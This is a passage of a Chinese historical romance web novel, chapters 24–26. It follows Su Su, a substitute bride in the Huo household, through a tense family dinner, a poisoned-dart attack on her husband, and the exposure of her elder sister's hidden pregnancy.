林卫沉着脸一言不发地往店里走，店小二忽得又想起什么，赶紧低声禀报，“霍家公子来了。”
林卫眸子微沉，思忖片刻后点头往店里走，进门便见霍尧侧撑着头手肘撑在桌上，一只脚踩在长凳上，又穿着一身红衣，整个一不着调的花花公子样貌。
霍尧侧眸看见林卫等人站在不远处看他，他扯了扯嘴角，若无其事地手点着桌子玩世不恭地沉托着腮。
林卫一言难尽地皱了眉心。
他真是苏妹妹选的夫婿？
一旁的护卫正要说些什么，林卫抬手拦住示意上楼，“走。”
他们走后，霍尧嘴角缓落，沉思着放下踩着凳子的脚。
林卫怎么也来这里了。
正思索着，谢沉和魏宇桀听见店小二通传，寻着过来了。
魏宇桀一脸嫌弃地抬着头张望一圈，回过头一点不避讳这儿的客人道，“阿尧，我寻思着霍府没出事儿啊，你怎么找个这么破的店？没钱啦？”
霍尧嘴唇抿成一线，就差把手里的茶盏砸他身上了，“你这乌鸦嘴，你过来。”
魏宇桀看霍尧手上的动作，下意识抬手挡了挡，没皮没脸地笑呵呵跑过去坐下，拍了几下嘴。
谢沉这人沉稳，走过去坐在霍尧对面，拿茶壶倒上茶抬眼道，“你知道禾词这人嘴就这样，别和他一般见识。”递上茶又道，“话说你怎么到这里来了，我们方才还在说你是不是被姜姑娘给抓回去不让出门了。”
霍尧接过茶，淡道，“她可没那么小气，大度的很。”越说脸越绷着，“让我纳一屋子的妾。”
谢沉同魏宇桀相互对视一眼，同时夸张，“这么好！”
听见两人这夸张地话，他猛然回头皱着眉，“哪有正经妻子让夫君纳妾的？”
魏宇桀揉揉鼻子，缓缓点头，“也是，我纳妾的时候嘴皮子都说破了，才让纳了一个。”
谢沉笑道，“姜姑娘这么大方的姑娘在京城是多少男子梦寐以求的啊，你就被得了便宜还卖乖了。”
霍尧那是得了便宜还卖乖啊，他才不纳妾，从小看着母亲与父亲房里那些姨娘成日明里暗里的斗就已经够够的了。
“我只要一个妻子就够了。”
魏宇桀不理解但听霍尧说得多了，反而觉得自己好像也不应该纳妾，不过又看身边的男人都认为纳妾很风光，所以他也跟着纳妾。
魏宇桀：“那你可娶不了喜欢的姑娘了，姜姑娘如今可是正妻，不一定会同意，除非休妻。”
霍尧正要说些什么时，林卫走到魏宇桀旁边，若无其事地冷着把手中拿着的酒盏洋洋洒洒地往旁边一侧。
霍尧转目就看见林卫沉着地把倒空的酒盏递给一旁的护卫，似笑非笑地摊了下手，“抱歉这位公子，方才手滑了。”
说完便抬脚走了。
魏宇桀瞪大了眼，指着那身穿紫袍的人破口大骂道，“你站住，你谁啊？”
林卫径直上了马车，霍尧紧绷着脸思沉。
林卫做事向来谨慎，不会有手滑这不注意的事出现，而且还专程走到魏宇桀旁边，这番操作太过明显。
不过他为何会针对魏宇桀？据他所知魏宇桀和林卫连接触都没有过。
谢沉让小二拿帕子，然后安抚魏宇桀道，“哎别气别气。”
“我能不气嘛？那人不就是故意的嘛。”魏宇桀气得跳脚。
谢沉拍了拍他的肩，“你好好想想是不是在哪儿说错话得罪人了？”
魏宇桀接过小二拿来的帕子，听见谢沉的话一愣，想了想提声道，“我哪有说错什么话啊，我都不认识他，而且方才我不就说了让阿尧休妻嘛，这要得罪也是得罪姜姑娘啊，那轮得到一个和姜姑娘不相关的人来出头啊。”
这句话倒是提醒霍尧了，姜苏苏和林卫也不是完全不相关，在春雅酒楼得罪的人可就是林卫。
不过苏苏得罪林卫，林卫为何为她出头？而且林卫怎么知道他们说得是姜苏苏？
……
苏苏从袁舒兰那儿回来，坐在屋里编了一下午的竹玩。
文妈妈站在一旁轻声道，“小姐，休息会儿吧，您编了一下午了，待会儿眼睛快受不了了。”
苏苏停下歪头揉了揉左肩，望窗外看了眼，天快黑了。
她放下手中的竹条，侧目问文妈妈，“妈妈，姑爷还没回来吗
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？”
文妈妈摇头，“还没有，小姐是在等姑爷吗？”
苏苏垂眸思虑着明日回门要不要让霍尧陪她回去。
霍尧去的话有好也有不好，好的是霍尧一起回门的话不会招惹过多的闲言碎语，不好的是她也怕不小心被霍尧发现什么破绽。
云蝶端来晚膳，“小姐，该用晚膳了。”
苏苏思索后抬眸，淡抿了下唇轻叹道，“放着吧，等姑爷回来。”随后拿起竹条继续编织起来。
云蝶点头，摆好晚膳准备退下，文妈妈跟着出去把云蝶拉到一旁问，“你去端晚膳时可有碰到姑爷的小厮？”
云蝶想了想，眸光一亮点头，“妈妈说得可是南五？”
“管他南一二三四五的。”文妈妈往屋子里看了眼，回过头又问，“是不是姑爷的贴身小厮嘛。”
云蝶抿了下唇，“好像是贴身小厮，但他不经常跟着姑爷出门，他告诉我说姑爷不让跟。”
文妈妈：“那他可有告诉你，姑爷是喜欢姑娘还是俏哥儿？”
云蝶一脸夸张到抽一口气捂住嘴，“妈妈……这…这，你是说姑爷…姑爷……”云蝶一下结巴地话都说不全。
文妈妈皱着眉又把云蝶往旁边拉了拉，小声说：“我和小姐在庄上的时候好多喜欢俏哥儿的那些有钱的就喜欢养几个书童在身边侍奉着，姑爷不好读书身边就没个书童，但你看他院子里又全都是小厮一个丫鬟都没有，而且啊，你看姑爷那么爱干净，出门还要打扮换一身红袍，哪个男子有姑爷那么爱干净漂亮啊。”
被文妈妈这一顿分析，云蝶也开始疑惑起来。
“是啊……姑爷是我见过最爱干净最讲究的男子。”转而又一想，“定是妈妈在庄上呆久了所以想多了。”
说完云蝶转身离开，文妈妈愣想了下，今日给小姐个收拾房间的时候看到和离书，她正巧就识和离两个字，她绝没有认错。
若不是喜欢俏哥儿，她家小姐这样好看的姑娘为何还要和离。
赶忙上前叫住云蝶道，“你找机会去探探那个南一二三四五的口风。”
云蝶：“哎呦…妈妈你想多了……”
文妈妈：“记得打探打探，咱不能让小姐吃亏了。”
刚说到这里，霍尧抬脚进门了，两人身形一僵赶紧颔首沉默，霍尧奇怪地看着她们走回屋子。
一回屋桌上就看桌上摆着菜。
苏苏听见动静转头瞧见是他回来了，起身行礼，“夫君。”
霍尧想到林卫今日的反常，侧目看了眼苏苏。
她和林卫认识？
环抱双臂，微挑着眉笑着朝苏苏走去，眼神直勾勾的。
苏苏看他走来双手紧捏回避了视线往后退，没想到他越逼越近，直接将她逼到柜上，腰肢微微往后仰了。
他俯下身凝着她，不羁地勾着唇角，沉了片刻分外正经的称呼着问，“夫人是否是有喜欢的人，才那么干脆与我签和离书？”
苏苏怔怔地蹙了眉。
他这是怎么……疯了？
24. 24
苏苏怔怔看着他，微偏了下头与他尽量拉开距离，霍尧仿佛是洞察了她此刻的表情扯着嘴角装作看不到的样子又俯身压了几分。
安静的屋子愈发的静如空灵山野，只能闻见她自己的心跳声。
苏苏仍不住开口问道，“你为何如此问？你与我不是已经签了和离书就等和离了互不相欠了？”
在她眼里就应该如此，签了和离书也和和离的两夫妻并无二异了。他们也并没有肢体上的接触，没有洞房，这比正常的夫妻和离还要简单，只不过在外人面前仍需要体面，让两家人在面子上过得去。
她想她如此想，霍尧自然也是如此想的，即使他不乐意如此也没办法必须这样。
他应该也从公爹和婆母必须让他履行婚约的态度上看的出来有些事不是他不想做就能反抗的，在这京城面子高于一切，要想办成某件事首先要在面子上过得去否则在背地里行事的终究会在某一刻暴雷。
她开口后霍尧嘴唇开口几下并未出声，两人的距离仍然很近这时不知袁舒兰房里的李嬷嬷怎么突然来了，也没通报地和文妈妈两人拉拉扯扯一个踉跄进了门，瞧见新婚夫妻二人在桌案边离得近乎，李嬷嬷赶紧颔首不敢直视地道，“少爷，少夫人，老夫人从通州上京来了，夫人让老奴来让您二位过去一起用膳。”
苏苏和霍尧一下拉开距离，各自都若无其事的样子，苏苏垂眸捋了捋耳边的碎发，霍尧则懒懒散散地提了提旁边地凳腿。
文妈妈不悦地瞥了这婆子一眼。
就为了这点事打扰主子，这婆子好生没规矩，不知道的还以为发生什么天大的事了。
苏苏看见霍尧听到外祖母来了那一刻，脸上不由泛起一丝抗拒之色，显然外祖母的到来是个不那么好的事。
霍尧挠了挠脖子，装着波澜不惊地说：“我有事得出去一趟。”
说着霍尧就想离开，苏苏眼疾手快拉住他的袖口，说什么都不松手。他若不去万一长辈问起他，她怎么应对？那就该说她一个做妻子的不体恤夫君了。
苏苏在庄上还抓过野猪，手劲不小，霍尧像挣脱都挣脱不了，只好跟着苏苏一起去见外租母了。
夫妻二人到的时候，真多得她都不适应这是前几日平静的府邸。
后宅的五个小娘也来了，表面和谐的笑声充满了整个堂厅但其中却是暗藏争斗的肃杀，苏苏端庄行礼，“父亲、母亲。”
袁舒兰笑容堆在脸上却极其不自然，十分强颜欢笑，抬眸看见苏苏眸底像是松缓了来了口气，“哎呀，苏苏来了，快快，这是外祖母。”
苏苏看向面前上了年纪仍然精气神十足的老太太规矩地行了礼，“见过外祖母，外祖母好。”
紧盯着长辈不礼貌，她看了一眼便垂了眸子收了视线，但仅仅是这一眼苏苏就觉得外祖母笑声爽朗中含着她无法用精确的言语来形容的肃目。
外祖母不胖甚至有些瘦，脸颊的颧骨高耸，皮肤不白有些黄，脸颊上的红或许是吃酒上了些脸，一下抬手将她从袁舒兰手中拉了过去问道，“原来你就是和我孙子有婚约的姑娘啊。”说着就开始四下打量她，打量片刻不满地道，“太瘦了，没屁股不好生孩子。”
一下像是给她定了罪似得，在这屋子中还有霍尧和公爹两个男子，即便没一个男子在场，她一个姑娘家被这样说也是不知该如何回话，好在袁舒兰察觉到她窘迫，替她打破了这场僵局，“母亲，苏苏刚和尧儿成亲，还不急不急，是吧尧儿？”
话题瞬间转向霍尧，霍尧眸子移向苏苏，看了眼转向外祖母，“蜜月期都还没过，生什么孩子。”
眼下唯一的外孙这样说，老太太也没脾气的接受了，转颜就笑着不说话坐下了，袁舒兰让苏苏做自己身边，在桌案下轻拍几下她的手背以示安慰。
苏苏懂事地抿唇轻轻点了下头。
一张圆桌上除了坐了袁舒兰、霍君鹤、霍尧、她和外祖母外，还有一陌生的面孔，苏苏猜想是哪个受宠的小娘，否则为何其余四个小娘都被安排在旁边的小桌唯独她和婆母一样能坐在公爹身边。
让她有些不解的是，从她嫁进来起从未见过这些小娘，素日里这些小娘好像在府里是不存在的，怎得今日婆母的母亲来府上还如此来得齐。
苏苏没有表现出自己对那小娘的好奇，坐于她对面的外租母便开了口，话里话外皆是对公爹的讨好，“子叙啊，这府上还是应该热闹热闹，你可千万别顾忌这我家舒兰不敢去姨娘那儿啊。”
闻言苏苏何止是不理解，简直是震惊，这是婆母的母亲吗？怎么听着像这些姨娘的母亲。
可在场的人并未对此显得多么吃惊，就连霍尧也只是沉着脸夹菜自顾自吃着一点没反应，反倒像是她少见多怪了。
霍君鹤也没看自己妻子，倒是看向白姨娘后回外祖母的话道，“去的。”
苏苏偷瞄了一眼，愈发吃惊了，素日里公爹那样正派庄严的人不像是宠妾灭妻的人，此刻她却从中看出了些苗头，难怪婆母给她说不能太放任男人自由，这一切都是有原因的。
霍尧手肘碰了下她的胳膊，她下意识转头看他，他嘴唇淡抿了一下，眸子往菜上朝她示意，表情好像在示意她专心吃饭别多管。
她抿了抿唇刚准备拿起筷子拿菜，外祖母的注意力就转移到她身上了，“苏苏你也是，男人三妻四妾很正常，你作为大家闺秀出身要懂得体恤夫君，万不可为了争宠不让尧儿纳妾。”
苏苏手一顿收回了手放在腿上，思索着该如何回答时，没想到霍尧说道，“外祖母，您先让舅舅娶妻了再管别人比较有说服力。”
一句话就差让外祖母下不来台了，霍尧仍是淡然从容地夹着菜，场面一度安静地没人好接话，这时霍尧放下碗筷站起来，抱拳准备告退，“您老慢慢吃，我先行告退。”
苏苏正愣着，霍尧直起身轻拍了下她，道，“走了。”
苏苏仰着脸往向他，看懂了他的意思，眸中纠结几瞬缓然起身正福身道：“儿
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媳先告……”
霍尧可能是嫌她太磨叽了，一把牵了她的手带着她走了。
“霍尧，外祖母还在你怎得如此没规矩，你给我回来……”袁舒兰提声叫到，但霍尧头回都没回，不过袁舒兰也就是怕霍尧被夫君责怪，做个表面功夫，嘴上打人可不疼。
“逆子！没救了。”霍君鹤哼声。
苏苏跟着霍尧离开了那让人绞尽脑汁想该如何回答才不算顶撞长辈的家宴，她从未这么不懂礼节过，今天霍尧带她尝试了一次，感到了叛逆的刺激和爽快。
走到院落，霍尧才松开她往前走，脚步很缓慢，她跟在身后。
“霍尧。”
他可能也是没想到她会直接地叫他名字，平日都是很疏离懂规矩地叫夫君，今日着月光下，她缓步跟在他身后柔声叫他也是稀奇了。
他停脚转身站在她面前，垂眸看着她。
“可稀奇了，今日你怎不叫夫君了？”
苏苏反问，“那你今日还叫我夫人呢？不也奇怪？”
霍尧微弯了下嘴角，耸了耸肩没回答转身往前走，她跟上去走到他身旁问道，“明日同我一起回门吧。”
她看的出来霍尧不喜欢那样复杂的环境，外祖母在府上，霍尧若没有正经出府的理由公爹定不会轻易让他出门的，除非他又翻墙偷跑。
明日她要回门，霍尧不跟着去的话，也不知道他会不会被罚，他不进姜家的门没关系，但那这个理由出门也好，这样在婆母那儿她也不会被过多的问责，两全其美。
霍尧侧目看她，顿了顿收回视线径直往前走，“明日的事明日再说。”
这时苏苏看见一人影踩着树干朝墙外翻去，随后就有一只暗器突然朝霍尧飞刺过来，她赶紧扯着霍尧往旁边躲，“小心！”
霍尧被她扯到树上，咚一下把树上的叶子撞得哗哗的。
“哎呦……柳条子你谋杀亲夫啊。”霍尧惊叫唤靠着树揉背，“哪来那么大的劲。”
苏苏捡起暗器走过去递给他看，沉着性子问道，“霍尧，你是不是惹到什么人了？”
霍尧看了她手中暗器的花纹就知道是弘堂的人，但装着不知道的样子，没心没肺地道，“我哪有惹什么人，这不就是普通的飞镖嘛。”
苏苏把暗器凑到鼻尖嗅了嗅，顿时皱了眉，就着月光，把暗器高高举起来对着光指着给霍尧看。
“你看这儿上面有些发黑，是抹了毒的，若是方才你中了这只飞镖就没那么轻松了。”
霍尧顺着她指得看，确实如此。
他奇怪问道，“你懂毒？我怎么没听说你懂毒？”
一连两问，苏苏怔了一怔，“哦……在庄上的时候看人有人抓虫取毒，了解过一些。”
她随意糊弄了过去，霍尧这有心眼子但不多的应该是没有发现什么不对。
她只要不暴露不会作画的事，替嫁的事就能瞒得很好。
霍尧沉眸侧目看她，怎么感觉她在隐瞒什么？
25. 25
苏苏察觉到他的眼神，抿了抿唇拿手帕把有毒的暗器包起来。
“你别太大意了，你成日在外闲逛，霍府也会树大招风，得注意点。”她把包好的暗器给霍尧，“你拿着派人去找验毒的人查验上面的毒，顺着调查究竟是谁想杀你。”
霍尧接过挑着眉不以为然地塞进袖子，“好。”
苏苏看他那毫不在意的样子，心也没放下来。
“你正经点，我可不想还没和离就成了寡妇。”她皱眉转身抬脚走，“寡妇多难听啊。”
霍尧顿时皱眉抬脚跟着，“喂，能不能想我点好？”
苏苏侧目，“那你就自己上点心，听父亲的好生读书，不要出去闲逛惹事那样多好。”
她随口说着也没想霍尧会听进去。
只要霍尧在公爹面前听她的，不让她为难就万事大吉了。
霍尧语调散漫道，“知道你瞧不起我游手好闲不读书，但你看哪个纨绔公子哥读书的，我若读书还去做什么纨绔？”
苏苏哑口无言，这歪道理也就他才能说的如此理直气壮了。
不过霍尧究竟惹了谁，她看霍尧成日也就是贪玩但绝不是欺压人的哪类流氓子弟，要让人对他下杀手除非就是他触碰到别人的利益了。
就是霍尧他这心眼子能触碰到别人什么利益？
——
林府布局简陋，院子里都是枯树杂草，咋一看极像个破旧失修的宅子。
林卫听人禀报握有接应凌江王的绢信落入了霍府，他肃冷的眸子顿时抬起，漆黑的瞳孔里含满了杀气。
护卫抱拳继续禀告，“方才在下派人去霍府寻觅绢信，遇到一黑衣同去寻，在我报下来路时，那人与在下交了手，且身手不凡，在下猜想是三皇子知道我们的计划了。”
林卫脸色渐冷，他坐到这个位置上全靠三皇子，但三皇子想反……
当初从庄上上京入了弘，不久后执行任务就被人构陷错杀了一名女子，他被缠上了这桩案件，后来说是那女子是圣上丢失多年的公主。
他就那样背了黑锅。
入狱后等待斩首示众时，三皇子来狱中给他一个苟命的机会——成为尚书郎，林卫。
他从跑趟的石宇程摇身一变成了做官的林卫，这是命运的馈赠。林卫再也没记起过石于程这个名字，直到那日在酒楼遇到姜苏苏。
那些年在庄上的日子渐渐浮现在眼前。
他把她看做妹妹，她不应该卷入朝堂上的纷争，但偏偏她嫁的是霍尧，霍尧这独子与大皇子走的太近，日后皇子为了争夺皇位发生斗争，大皇子成了未来的天子还好说，若是一旦败下阵来，所有相关的人都会被清算。
看他久久没有说话，护卫江长显抱拳恭敬请示，“大人，下一步我们该如何走？”
林卫思绪回来，他冷沉的脸上仍然没有好转，担心很明显地表露出来，江长显第一次从他的脸上看到这个表情。
他从跟在林卫身边五年一来，发生过更严重的事都没见有过这幅担忧地神情。
难道这次的事情更严重了？
他颔首等待命令，林卫只沉默了一会儿便问道，“姜家姑娘姜苏苏是怎么嫁给霍尧的。”
那日他认出苏苏后本想以将她抓回来关押的理由与她相认，没想到半路杀出个霍尧打乱了他的计划。
找到苏苏时就已经得知她与霍尧成亲了。
霍尧家祖上是开国将军，功勋高，到霍老爷那辈时虽然降了功勋，但瘦死的骆驼比马大仍然是个公侯，姜家只是布商，要说和霍家结亲真的是八竿子都打不着的关系。
江长显把他今日刚查到的一并如实禀报，“听说是姜家祖辈救过霍家的人，所以当年就定下了婚约，不过奇怪的事，这次在下调查发现姜家并不是只有姜姑娘一个女儿，真正与霍家有婚约的姜家嫡长女现如今已经怀有两月有余的身孕。”
林卫这才明白了，苏苏从庄上来京上是替人嫁人的。
他片刻垂下了眸子。
他一刹那间竟以为她是来寻他的，没寻到他才找了人嫁了。
“还有谁知道此事？”
“只有姜家的人知晓，在下是趴在姜家的房顶上听到这些话的，话说姜家的人还真是胆大敢这样糊弄霍家也不怕霍家在京城的势力。”
林卫思索着，想必也是嫡长女与人苟且之事瞒不住了，所以只好冒险出此下撤。
“霍府的事交由我来处理，你暂且把姜家盯好，若是发现有人将此事外传即刻处理了。”
林卫口中常说的处理便是灭口，长在他身边待的江长显一听便知，就是的任务竟是为了姜家的姑娘，他实在是没想通是为何。
加上今日林卫竟然莫名去泼别人酒，实在太反常了。
“大人，在下可以问您为何要帮姜家姑娘吗？”
话音甫落，林卫的脸愈发沉了下来，江长显顿时知道自己多嘴了，颔首谢罪退下。
……
今晚是个闹得惊天嚎地的晚上，一夜行鸟长鸣一声从姜宅树上惊飞而起。
姜华临手拿长长的鞭子狠狠地抽打在姜云安身上，谭柳慧在一旁急得跺脚阻拦，但仍然拦不住，自己手上还挨了几鞭子。
“老爷，别打了，当心把安儿给打坏了了。”
她是又哭又急得上手去拦，奈何姜华临气得已经失了心智，手上得鞭子越挥打越用力，最后肚子没有绑腹带的姜云安倒在了地上，理智才渐渐恢复。
谭柳慧心疼地去把女儿扶起来靠在自己身上，哭的声音发抖，“老爷，你实在要打就打死我吧，这件事我早就知道了。”
一切明了，坦白开来，姜华临更加不能接受，指着母女两人，指尖不受控制的抖动。
“你……你们……你这个败家不懂礼义廉耻的毒妇竟然放任女儿与人苟且，要不是今日我看安儿的肚子不对劲随口问了一嘴，你们打算隐瞒到多久？”
说得姜华临心口发疼，“要不是有苏苏替嫁了过去，这件事要是暴露了，我这张老脸往哪儿放，我们在京城还如何混的下去。”
“既然事情已经如此了，苏苏也嫁过去了，婚约的事也算是了了，现在该处理安儿的事了，老爷您冷静一点，别再气坏了身子。”谭柳慧自知理亏开始示弱劝解，“等安儿嫁
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出去了，即便是东窗事发也有三皇子替我们撑着。”
“这关三皇子什么事？”姜华临问。
谭柳慧扶着姜云安坐正，她从地上起身过去扶着夫君，轻声道：“安儿怀的是三皇子的孩子。”
“什么？！”姜华临惊忽一声。
姜云安心虚的很，索性将头埋得很低，不敢抬头不敢看她的父亲。
直到姜华临问她，“你当真怀的是三皇子的孩子？你们如何认识的？”
素日里妻子不准她踏出宅子一步，怎么认识了皇室的人还怀上孩子的？他左右思索猛地想起之前罚苏苏跪祠堂那次。
“苏苏知道偷跑出去的路子，是你教她是不？”
“说话，问你是不是！”他怒气含胸，再次出声问道。
“哎呀，老爷，过去的事就别问了……”
谭柳慧去拦着，生怕姜云安再挨打，把怀着的孩子打流了她得哭死。
看母女两人的反应，他恍然大悟地仰头气得发笑。
被瞒得这么深啊。
他转身回去坐下，平复了下心口堵着的那口气，怒气仍然没完全平息：
“你说说看究竟是不是三皇子的？”
姜云安仍然低着头，谭柳慧回头看了女儿一眼，转头帮着回答道，“自然是啊，老爷，你把安儿都吓着了，都不敢说话了，天不早了让她先回去休息，明日再问吧。”
她前脚替姜云安说话，后脚姜云安捏着个帕子跪在地上，埋着头出声，“不是三皇子的。”
“什么？！”谭柳慧惊呼出声。
一旁的姜华临都被这一声怔了一跳。
姜云安怕的发抖，既然如此只能把真相说出来了，“不是三皇子的，我怕母亲不让我和他成亲所以说了谎，就让母亲误会了，后面我也想解释，可母亲认为他就是三皇子，不过他和三皇子是同一个生母生的，只是父亲不一样，但也是兄弟啊像我和苏妹妹一样。”
被骗了那么多，姜华临现在也没什么接受不了的了，哼声说：“呵，看来被四舍五入成三皇子了。”
谭柳慧觉得姜华临在说风凉话，捡起方才的鞭子就要给姜云安抽去，“骗子，我怎么生了你这样的女儿！今天我打死你，敢说这样的弥天大谎。”
姜华临站起来拦住妻子，“哎，别打她了，不是坏了身孕的嘛。”
“我就要打死她，肚子里的孩子也别给我留了。”
“这不是你教的嘛，骗子母女，大哥别说二哥。”
鞭子被姜华临拿走，把谭柳慧说的一愣一愣的，气结不顺地垂着胸口，“造孽啊！”
姜云安跪着往前挪着到谭柳慧腿边，“娘，我知错了，明天苏妹妹回门，您也得早些休息，您就别生气了。您看父亲不也说四舍五入也是个三皇子嘛，这样也用不着多大的排场，霍家也不会知道有我的存在，苏妹妹可以安心的在霍家过日子。”
她倒是想得通，但越是这样的说辞让谭柳慧越想不通，为了能鸡犬升天一脚踏入皇族，她出了大血本给了两个铺面给姜苏苏。这下什么都没捞着。
扯着嗓子哭天喊地：“造孽啊！”
26. 26
回门这天一早就下了大雨，苏苏起床站在窗前看着屋外的雨，文妈妈来给她披上外衣，“小姐，下雨了多穿点，待会回门别着凉了。”
苏苏点头回里屋准备在里面加件里衣，霍尧还在睡着没醒，她轻声唤了声他，“霍尧，你没醒吧？”
见他没反应，她轻手轻脚的走过去爬上床榻，在脱下外衣时她手上的动作顿了下，微微侧了下头看霍尧有没有起来。
还是担心他突然起来了，她转身把薄薄的帘子放下来。
但这帘子很薄，就是一层薄纱，能从外面看到里面的。
放下帘子她就背过身去换衣裳，动作很快，这两日霍尧在她换衣裳都像是做贼一样，快速脱下快速穿上，一点不拖沓，埋着头就开始扣纽扣。
但这人啊，一慌就容易出错，这不，她又把扣子给扣错了，她皱眉啧了一声连忙又解了重新扣。
雨声不小，哗啦哗啦的，地铺上的霍尧翻了个身醒了。
坐起来摸着发酸脖子一脸没睡醒的样子，左看右看就看见床帘后面的姑娘裸着背埋着头在扯什么东西。
他一怔顿时把头转开，脖子太过僵硬了竟咔得响了一声。
苏苏听到了声音，微侧目发现霍尧已经醒了，她赶紧把方才扣子和衣绳绞缠在一起的小衣扔到一边，胡乱把薄的那件又重新穿上了。
穿好后，她撩开帘子把帘子绑好。
霍尧没看她，她也不好意思问方才他有没有看到不该看的。
可说回来住在同一屋子难免出现这样的情况，她也要习惯了，和离也还要等一段时间，她看成稀疏平常的事就行了。
下床穿上鞋她准备出去寻文妈妈。
刚站起身来，霍尧也正好起来，两人撞了个正面，她心口一提，眼睛忙往旁看，脚也往旁边迈了一步，谁知她和霍尧早不有默契现在开始有默契了，她往左迈了一步他也往左迈一步，就这样她右一步，他也右一步，最后她撞到了床榻边的棱角上。
她痛得眼泪花瞬间就含着了，还得装着没事人一样站在原地说：“你要换衣裳不，我先出去。”
霍尧愣了下点了头，苏苏赶紧转身小跑着出了里屋。
这个卧房的里屋拐个弯是堂厅，在堂厅看不见里屋，还算有私密性，苏苏回头望了眼，抚了抚胸口。
转回头来，云蝶端着两碗梨汤在外敲了下门请示，“小姐，文妈妈用蜜饯熬了梨汤您喝点暖暖身子吧。”
苏苏点头走过去，捧着暖暖地梨汤抿了一口，暖暖甜甜的，是她喜欢的口味。
霍尧整理好衣衫去洗漱完过来，她把其中一碗往旁边放了一放，“刚熬好的梨汤，尝尝吧，很甜很好喝。”
她刚说完霍尧就以一种奇怪不理解的眼神看着她坐下，苏苏心想怕不又是疑心病犯了，认为她往里面下毒了。
“没毒，我都已经喝了。”她端起她那碗给他看。
霍尧直接端起边喝便说：“你不是不喜欢吃甜的嘛？”
苏苏怔怔一愣，她什么时候不喜欢了？
她疑惑正要开口说自己最喜欢吃的就是甜的，不喜欢吃带一点苦味的东西，霍尧就放下碗继续道，“听说你喜欢吃苦瓜，介菜这种带苦味的。”
突然想到什么，苏苏到嘴边的话生生咽了回去。
“呃，是啊，我喜欢吃苦的菜。”
她不喜苦，但姐姐喜欢，幸好在姜家时姐姐告诉过她，她不太喜欢吃甜的，喜欢吃些带苦味的菜。
霍尧是怎么知道的，他调查过？
苏苏眸子顿了顿，试探着小声问，“你怎么知道？”
霍尧好像觉得她说得这话有些多余，轻笑了声端着梨汤侧目看了她一眼，“你当小爷在京城没人脉？自然是调查过你。”
苏苏脸色一僵，方才喝的梨汤都觉得不甜了。
他调查过，会不会已经发现她是个假的了，故意整她呢。
这想法在脑袋里转了一圈，心已经扑通扑通跳起来提到了嗓子眼感觉快跳出来了，要不是今日这雨声够大，在这陡然安静的屋子里怕是都被霍尧听见了。
苏苏咬了咬嘴唇，慌张地表情是一点藏不住。
可能她这样，霍尧看着也觉得奇怪，出声问，“你不会病了吧？”
“啊？”她被吓了跳，“呃…没有啊，为何这样问？”
霍尧：“你脸红了。”
她忙捧着脸，摸了摸是有些烫，“哦，可能是刚喝了热梨汤。”
霍尧缓缓点了下头，微微扬了下眉。
文妈妈在门口请示道，“小姐，时辰差不多了，该回门了。”
苏苏点头起身抬脚往外走去，霍尧没说要去估计也是不会去了，她也便不问了，免得显得啰嗦也惹人烦。
走到门口，云蝶给她系好斗篷，文妈妈撑好伞在檐下等着，抬脚走前她转头对霍尧说：“若你想去酒楼玩，可以给父亲母亲说你去姜家，我不会告状的。”
说完文妈妈护着她进伞下，然后离开。
霍尧看着雨雾蒙蒙下她单薄的背影，眸子原本淡淡的但此刻却带了些轻柔的光，不过片刻他转眸端起梨汤吹了吹，抿了口没兴致地放下碗，“都冷了。”
……
住在客院的外祖母听说今日是孙儿媳回门的日子，按着她爱凑热闹的性子定是要去见一见亲家，但此番上京来是督促着霍君鹤赶紧把她儿子给从狱中救出来的。
想着这事她就茶不思饭不想了，急匆匆赶去了正厅让人去请两夫妻过来。
袁舒兰来了好久了，茶也是凉了又加了三四次，霍君鹤才匆匆从雨中赶来。
袁舒兰冷着脸不高兴，霍君鹤走进来抱拳请了声安便坐到妻子旁边，端茶喝了口。
“茶都凉了你才来。”
她不高兴当然是有道理的，昨夜在白小娘那去了，这都快用午膳了才来，分明就是被那小狐狸给缠上了。
要不是她娘来了，她是不准霍君鹤有这种在妾室屋子里一待待那么久的，即便是头天晚上去的，一早她便会让婆子去叫人回来。
纵使霍君鹤不乐意但碍着多年的夫妻情分也不会当面发作，最多是嘴上抱怨几句，但每次她母亲来府上，霍君鹤得到了丈母娘
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的准许就是放纵了像是有了免死金牌，完全不把她放在眼里。
她母亲来是所谓何事她很清楚，所以她母亲讨好霍君鹤她也不好阻止。
想着反正过几日就走了，忍了便忍了。
霍君鹤放下茶盏，“这不温的？刚刚好。”
她实在仍不住，冷着脸瞥了他一眼。
刘燕平啧声说自家女儿，“舒兰，做人妻子万不可有妒忌之心，男人有妾室很正常，做妻子的别太过分了。”
袁舒兰抿唇不悦冷脸。
她对她母亲的观点简直不敢苟同，还好霍家婆母明事理，没有她母亲这样封建。
说罢刘燕平转头笑呵呵对霍君鹤道，“对了，自云的事如何了？是不是过几日就能放出来了？”
霍君鹤沉着气倒是轻松的说：“已经派人去办了。”
听到这个回答不仅刘燕平松了口气，袁舒兰心里也同样放下了石头。
上次她弟弟在江州入狱，霍君鹤派了人去打了声招呼便把人放了出来，这次多半也多半一样，在坚持几日等弟弟放出来，她母亲就走了。
刘燕平笑着连连点头，“好好好，那就好，那我就待到自云出来我再回平江老家。”
袁舒兰猜到回是这个回答，所以也不意外。
这时霍君鹤突然记起今日是苏苏回门的日子，便转头问妻子，“苏苏回门有给她带些像样的礼品没？”
袁舒兰不情不愿，阴阳着回答，“现在想起来我们大房的事了？”
霍君鹤深深皱眉，他还没说什么呢，刘燕平就说：“舒兰怎么说话呢，不合规矩，对夫君要尊重。”
有亲母在，袁舒兰是有脾气也要被压得没脾气，转头问李嬷嬷，“把礼品都给苏苏带上没？”
李嬷嬷点点头，“老奴给文妈妈说了的，让文妈妈去库房拿，应该是去了的。”
袁舒兰点点头，霍君鹤又问，“那霍尧去了吧？”
这袁舒兰就不知道了，今早她一直烦着妾室的事，早膳都没用。
袁舒兰眼神示意李嬷嬷去问问，李嬷嬷点头去问了回来小声在她耳边说：“没去，在还在卧房睡觉。”
闻见还在睡觉，袁舒兰本就不好的脸色也越发难看。
她这独子真是太不懂规矩了，怎么能让苏苏一个人回去。
霍君鹤问：“霍尧去了还是没去？”
袁舒兰为难地叹了口气摇头。
霍君鹤顿时拍案，“他还懂不懂礼节了？立马派人叫他去。”
袁舒兰正要叫李嬷嬷去传话，刘燕平就道，“诶，我去我去，正好叫着尧儿，我也一起去见见亲家。”
还不等袁舒兰阻止，刘燕平欣喜地让身边的小丫鬟撑着伞一起走了。
袁舒兰赶忙起身，焦急叹着气道，“哎呀，她去别惹出什么幺蛾子出来啊。”
她还不知道她母亲的性子嘛，站着说话不腰疼的人特别会拱火。
见有人去管霍尧了，霍君鹤也舒心懒得管了，起身就准备去白小娘房里。
